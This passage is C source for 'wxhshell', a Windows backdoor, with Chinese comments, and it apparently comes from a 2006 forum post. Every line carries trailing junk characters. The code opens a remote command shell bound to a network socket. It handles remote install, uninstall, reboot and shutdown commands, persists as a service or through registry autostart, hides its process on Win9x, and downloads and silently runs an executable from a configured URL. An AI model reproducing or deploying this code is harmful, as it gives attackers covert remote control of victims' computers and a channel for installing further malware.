    break; 3A)Ec/;~  
  } # ZcFxB6)  
  // 安装 Ar iW&E  
  case 'i': { >SSRwYIN  
    if(Install()) OO  /Pc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kA/V=xO<  
    else W:TF8Onw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d2=Z=udd  
    break; TQiDbgFo  
    } {klyVb  
  // 卸载 z&W5@6")`  
  case 'r': { o0`|r+E\  
    if(Uninstall()) A DW>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =3R5m>6!/  
    else f!D~aJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'du{ky  
    break; |`c=`xK7'  
    } n>##,o|Vr#  
  // 显示 wxhshell 所在路径 NUjo5.7  
  case 'p': { \Bg?QhA_D  
    char svExeFile[MAX_PATH];  `xm4?6  
    strcpy(svExeFile,"\n\r");  `GQ'yv  
      strcat(svExeFile,ExeFile); Q4!6|%n8v  
        send(wsh,svExeFile,strlen(svExeFile),0); vb1Gz]~)>  
    break; [;*Vm0>t  
    } 4&a,7uVer  
  // 重启 %Tvy|L ,  
  case 'b': { ye^l~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j+-+<h/(  
    if(Boot(REBOOT)) }3xZ`vX[T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ")?NCun>  
    else { A"W}l)+X  
    closesocket(wsh); "JBTsQDj!  
    ExitThread(0); 0{'%j~"  
    } X GhV? tA  
    break; }ki}J>j|f  
    } A\S1{JrR  
  // 关机 MRZ/%OZ.  
  case 'd': { VfON{ 1g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cJQ&#u  
    if(Boot(SHUTDOWN)) 1-6[KBQ8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tM&;b?bJ[  
    else { @2eV^eO9  
    closesocket(wsh); tMQz'3,X  
    ExitThread(0); Qk_` IlSd  
    } $Afw]F$  
    break; [tEHr  
    } %J%ZoptY:  
  // 获取shell #Emz9qTsce  
  case 's': { o7B }~;L  
    CmdShell(wsh); LnY`f -H  
    closesocket(wsh); wEp*j+Mmce  
    ExitThread(0); mE+  
    break; Pcox~U/j  
  } `*to( )  
  // 退出 hD I}V 1)  
  case 'x': { .)Af&+KT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ( /):  
    CloseIt(wsh); ``j8T[g  
    break; `x'vF#  
    } eo~>|0A*V  
  // 离开 /H m), 9NN  
  case 'q': { v?S~ =$.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _8;)J  
    closesocket(wsh); #{]Yw}m  
    WSACleanup(); UvPD/qu$8D  
    exit(1); 3Q-[)Z )  
    break; gJv;{;%  
        } |DZ3=eWZ  
  } <Z6tRf;B  
  } V`;$Ua;y  
v!b 8_0~u6  
  // 提示信息 P O{1u%P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5PXo1"n8T  
} 3jG #<4;J  
  } x22:@Ot6  
_ o-lNt+  
  return; n$S`NNO{]  
} *w[\(d'T  
QoVRZ$!p  
// shell模块句柄 yavoGk  
int CmdShell(SOCKET sock) z%pD3J?>  
{ 9*lkx#  
STARTUPINFO si; `AO<r  
ZeroMemory(&si,sizeof(si)); 01P ~K|s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :y!%GJW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &D[pX|!  
PROCESS_INFORMATION ProcessInfo; J"TM[4^\Y  
char cmdline[]="cmd"; k5=VH5{S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V;V,G+0Re  
  return 0; OSsxO(;g  
} S ;; Z  
8% ;K#,>  
// 自身启动模式 O^AF+c\n  
int StartFromService(void) cIIt ;q[  
{ U.[?1:v  
typedef struct er[%Nt+99  
{ /K WR08ftp  
  DWORD ExitStatus; uDZ$'a  
  DWORD PebBaseAddress; s, 8a1o  
  DWORD AffinityMask; G\U'_G>  
  DWORD BasePriority; KfVLb4@16_  
  ULONG UniqueProcessId; S _B $-H|  
  ULONG InheritedFromUniqueProcessId; tKik)ei  
}   PROCESS_BASIC_INFORMATION; `S{Blv  
*Ugtg9j  
PROCNTQSIP NtQueryInformationProcess; 22<T.c  
u?>]C6$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v FL\O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <R?_Yjsw  
|4F 3Gu  
  HANDLE             hProcess; kK]^q|vb6  
  PROCESS_BASIC_INFORMATION pbi; {D(_"  
_E{hB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P=j89-e  
  if(NULL == hInst ) return 0; :gNTQZR  
{Va "o~io  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $YyN-C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F9|\(St &  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +[DL]e]@U  
8?S)>-mwv  
  if (!NtQueryInformationProcess) return 0; MwlhL?  
x\ pC&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v .ftfL!  
  if(!hProcess) return 0; ,;2x.We  
=eXJZPR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ( _{\tgSm  
r95l.v  
  CloseHandle(hProcess); "^~>aVuXf  
Pc*+QtQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bLfbzkNV\1  
if(hProcess==NULL) return 0; "F*'UfOwrZ  
@?w8XHEa|  
HMODULE hMod; ~x>?1K  
char procName[255];  pzMli ^  
unsigned long cbNeeded; .Fy f4^0  
qQ_o>+3VAy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :V%XEN)  
UO& p2   
  CloseHandle(hProcess); |^ao,3h#  
.i7bI2^  
if(strstr(procName,"services")) return 1; // 以服务启动 ^r7-|  
 !lf:x  
  return 0; // 注册表启动 5 E%dF9q  
} H@uCbT  
u,d@ oF(=  
// 主模块 r] +V:l3  
int StartWxhshell(LPSTR lpCmdLine) <V3N!H_d  
{ m,~ @1  
  SOCKET wsl; t^ =6czk  
BOOL val=TRUE; ZjE!? '(ef  
  int port=0; l"\W]'T:r  
  struct sockaddr_in door; 0ang^v;q  
%EZG2JjO)  
  if(wscfg.ws_autoins) Install(); ?]fd g;?@  
!~{AF|2f  
port=atoi(lpCmdLine); .Jt&6N  
=Of!1TR(  
if(port<=0) port=wscfg.ws_port; *N0R3da  
1,p[4k~Ww  
  WSADATA data; S >PTD@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Lmy ^/P%  
ugM,wT&~Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dz',!|>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v@43 %`"Gj  
  door.sin_family = AF_INET; tNskB`541  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }Om+,!_d  
  door.sin_port = htons(port); TB]B l.  
r$~w3yN)v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x}.Q9L  
closesocket(wsl); s^nwF>  
return 1; MSm vQ  
} n')#]g0[  
EV:y}  
  if(listen(wsl,2) == INVALID_SOCKET) { ("t; 2Mw  
closesocket(wsl); u3 mTsq!  
return 1; o9!DK  
} glk_ *x  
  Wxhshell(wsl); <t{T]i+  
  WSACleanup(); v'C`;I  
rNL*(PN}lO  
return 0; U!"+~d)  
U$J l5[`F^  
} nj*B-M\p  
$18|@\Znj  
// 以NT服务方式启动 Q?GmSeUi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !s;+6Sy  
{ +"!,rZ7,A  
DWORD   status = 0; _5^p+  
  DWORD   specificError = 0xfffffff; V  `KXfY  
=OIx G}*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7XE/bhe%S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "}i\" x;s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .[1"Med J  
  serviceStatus.dwWin32ExitCode     = 0; ~M 6^%  
  serviceStatus.dwServiceSpecificExitCode = 0; Q"UQv<  
  serviceStatus.dwCheckPoint       = 0; c~0YIk>]  
  serviceStatus.dwWaitHint       = 0; :^DuB_  
ellj/u61bj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iPMI$  
  if (hServiceStatusHandle==0) return; T jO}P\p  
s4 o-*1R*`  
status = GetLastError(); bJD2c\qoc  
  if (status!=NO_ERROR) g?ID}E ~<  
{ #c V_p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EPCu  
    serviceStatus.dwCheckPoint       = 0; bQlShVJL  
    serviceStatus.dwWaitHint       = 0; @0q%&v0  
    serviceStatus.dwWin32ExitCode     = status; Mg.xGST  
    serviceStatus.dwServiceSpecificExitCode = specificError; iHo2=Cz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &|7pu=  
    return; t)74(  
  } X I\zEXO  
YCwfrz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $X~4J  
  serviceStatus.dwCheckPoint       = 0; j+:q:6=  
  serviceStatus.dwWaitHint       = 0; lm}mXFf#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3&!X8Lhv  
} C,R_` %b%  
Qo{Ez^q@J  
// 处理NT服务事件,比如:启动、停止 Oslbt8)U6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oB:tio4DE  
{ 8$3G c"=  
switch(fdwControl) m'$]lf;*  
{ %|[+\py$Q  
case SERVICE_CONTROL_STOP: 7WG"_A~V  
  serviceStatus.dwWin32ExitCode = 0; RsS?ibozl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :qi"I;=6  
  serviceStatus.dwCheckPoint   = 0; D +/27#  
  serviceStatus.dwWaitHint     = 0; tY<D\T   
  { rrei6$H&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F4i c^F{K  
  } T~UKWAKX}  
  return; RYD V60*O6  
case SERVICE_CONTROL_PAUSE: 95;q ] =U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; | 1H"ya  
  break; YLSp$d4y  
case SERVICE_CONTROL_CONTINUE: Z |uII#lq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bry\"V"'g  
  break; ( Kh<qAP_n  
case SERVICE_CONTROL_INTERROGATE: F{\MIuoy  
  break; -.: [a3c?  
}; ;"=a-$vm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,Y EB?HA  
} +2=N#LM  
?<\ K!dA  
// 标准应用程序主函数 ~p{.4n2:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q_'3}:4  
{ zFh JLH*C  
lL~T@+J~  
// 获取操作系统版本 0t<]Uf  
OsIsNt=GetOsVer(); Mt)`hR+2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eLcP.;Z  
EUj'%;s z-  
  // 从命令行安装 WR=e$ ;  
  if(strpbrk(lpCmdLine,"iI")) Install(); MNNPBE  
Sc;WraEn2  
  // 下载执行文件 GcQO&oq|  
if(wscfg.ws_downexe) { r*<)QP^B~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]?tsYXU j  
  WinExec(wscfg.ws_filenam,SW_HIDE); pS vDH-  
} rxQn[  
OwrzD~  
if(!OsIsNt) { KFBo1^9N  
// 如果时win9x,隐藏进程并且设置为注册表启动 ` /JJ\`Pu  
HideProc(); mmm025.   
StartWxhshell(lpCmdLine); T<06y3sN  
} ,x}p1EZ  
else w@7NoD=  
  if(StartFromService()) KK`P<^8J  
  // 以服务方式启动 S`TP#uzKu]  
  StartServiceCtrlDispatcher(DispatchTable); Bo8+ uRF|  
else ?y!0QAIXK  
  // 普通方式启动 Q@hx +aM  
  StartWxhshell(lpCmdLine); SlI0p&2,  
#Yi,EwD  
return 0; uBw1Xud[YI  
}
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只看该作者 1 发表于: 2006-10-10
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